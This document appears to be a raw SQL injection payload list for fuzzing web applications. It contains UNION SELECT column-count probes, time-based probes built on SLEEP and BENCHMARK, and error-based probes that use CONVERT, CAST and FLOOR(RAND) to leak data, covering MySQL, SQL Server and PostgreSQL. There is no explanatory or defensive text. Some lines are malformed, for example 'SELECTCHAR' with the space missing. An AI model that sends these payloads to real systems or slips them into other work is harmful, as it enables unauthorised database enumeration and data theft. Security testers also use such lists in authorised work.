UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
UNION SELECT @@VERSION,SLEEP(5),3
UNION SELECT @@VERSION,SLEEP(5),USER(),4
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
UNION SELECT @@VERSION,SLEEP(5),"'3
UNION SELECT @@VERSION,SLEEP(5),"'3'"#
UNION SELECT @@VERSION,SLEEP(5),USER(),4#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
UNION ALL SELECT USER()-- 
UNION ALL SELECT SLEEP(5)-- 
UNION ALL SELECT USER(),SLEEP(5)-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
UNION ALL SELECT NULL-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- 
UNION ALL SELECT NULL#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
UNION ALL SELECT NULL 
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX'
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
